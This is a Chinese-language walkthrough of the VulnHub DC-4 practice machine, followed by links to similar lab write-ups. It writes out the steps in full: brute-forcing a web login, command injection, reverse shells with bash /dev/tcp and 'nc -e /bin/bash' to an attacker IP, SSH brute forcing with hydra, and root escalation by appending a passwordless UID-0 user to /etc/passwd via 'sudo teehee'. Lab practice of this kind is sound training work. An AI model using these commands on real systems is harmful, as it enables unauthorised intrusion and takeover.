DC-4靶场练习—teehee提权

DC系列第四个靶机
下载地址：https://www.vulnhub.com/entry/dc-4,313/

老规矩先扫描以下局域网内的主机ip

arp-scan -l

扫一下端口：

nmap -A -p- 192.168.1.101

只看放了22和80端口，先进80端口看看有什么

只有一个表单，猜测Username应该是admin，先不急着爆破。
用dirsearch扫了一下目录，只有一个登录界面：

所以现在只能从80或22端口找突破口了，22端口需要同时爆破账号和密码，太麻烦而且也不知道能不能爆破出来。现在尝试爆破80端口的表单，开启BP：

爆出来密码为happy：

这里即使爆破成功显示的状态码也是302，差点大意跳过了，又猛一拉下看到happy为密码的Length长度不一样

使用happy密码登录：

登录成功，页面很简单
点击Command发现可以通过前端执行命令：

抓包修改命令如下：

如此我们便可以反弹一个shell过来：
这里尝试使用bash反弹但没留意bash反弹shell的命令中的 & 符号，&符号在表单中会被认为是参数连接的标志，所以一下命令中

bash -i >& /dev/tcp/192.168.1.104/7777 0>&1

&前后的字符会被分割，所以我们只有使用不带有&符号的反弹命令——nc如下：

nc -e /bin/bash 192.168.1.104 7777

步骤：
在表单中使用命令连接kali：

nc -e /bin/bash 192.168.1.104 7777

kali上对7777端口进行监听：

连接成功！

进入后发现是非交互式shell，可以使用python升级为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

但这里不升级shell也不影响后续操作

在home/jim/backups中找到了一份旧密码：

使用hydra爆破ssh

hydra -l jim -P /password.txt -vV -e ns 192.168.1.101 ssh

终端上连接ssh：

ssh jim@192.168.1.101 -p 22

登录成功

我们的最终目录是获得root下的flag，那就直奔提权去
看一下jim具有权限

find -perm -4000

重点看sudo和su，但发现jim不能使用sudo命令

内核漏洞也没有，到这不知道怎么办了
回头又看了一遍发现登录jim时有个提示被我选择性忽略了：

有一份邮件，去看看

cd var/spool/mail      //邮件存放地址
ls
cat jim

内容是：Charles去度假了，因此老板要求他把他的密码给jim防止出现什么问题。
可怜的老实人jim，同事周六去度假了他还要上班

登录Charles的账号,查看他的sudo权限：

那就使用teehee来提权了，第一次遇到teehee提权的方法，
teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中，这个用户具有root权限，再切换到这个用户即可

echo "light::0:0:::/bin/bash" | sudo teehee -a /etc/passwd    //提权语句
su light
cat /root/flag.txt

完

DC-4靶场练习—teehee提权相关推荐

Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
【安全】靶场实战-通过MS16-032提权
个人介绍:188号安全攻城狮 [甲方安全工程师/CISSP/培训讲师] 目前恶补相关安全知识中,欢迎各位一起技术探讨. 每一次评论/点赞,都将成为我继续分享的动力 MS16-032简介该漏洞影响从V ...
基于Ha-Joker靶场的完整渗透测试演示直至提权（root）
信息收集 ┌──(root㉿kali)-[~] └─# arp-scan -l # 通过ARP-scan进行快速的主机发现, 如下图我们猜测10.10.10.138可能是目标主机 ┌──(root㉿k ...
【甄选靶场】Vulnhub百个项目渗透——项目三十八：Tommy-Boy-1（修改UA，脏牛提权）
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十八:Tommy-Boy-1(修改UA,脏牛提权) 这个靶场被我打坏了,忘记快照了,自行官网下载哈~~
Stapler-1靶场详细教学（7种漏洞利用+5种提权）
目录前言简介信息收集 0x00 主机发现 0x01 端口探测 0x02 信息收集-1 0x03 信息收集-2 0x04 漏洞利用-1 0x05 信息收集-3 0x06 漏洞利用-2 0x07 漏 ...
Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权)
Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权) 靶机地址:https://www.five86.com/dc-2.html 下载靶机将其导入到VMware,然后设置网络模式为N ...
【甄选靶场】Vulnhub百个项目渗透——项目十六：FristiLeaks_1.3（文件上传，py脚本改写，sudo提权，脏牛提权，源码获取）
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取) 靶场地址
【甄选靶场】Vulnhub百个项目渗透——项目一：GoldenEye（密码爆破，图片逆向分析，内核提权）
Vulnhub百个项目渗透靶场自取提取码:rong Vulnhub百个项目渗透--项目一:GoldenEye(密码爆破,图片逆向分析,内核提权)
6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权
6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度中等(主要是缓冲区溢出) 1 ...

DC-4靶场练习—teehee提权

DC-4靶场练习—teehee提权相关推荐

最新文章

热门文章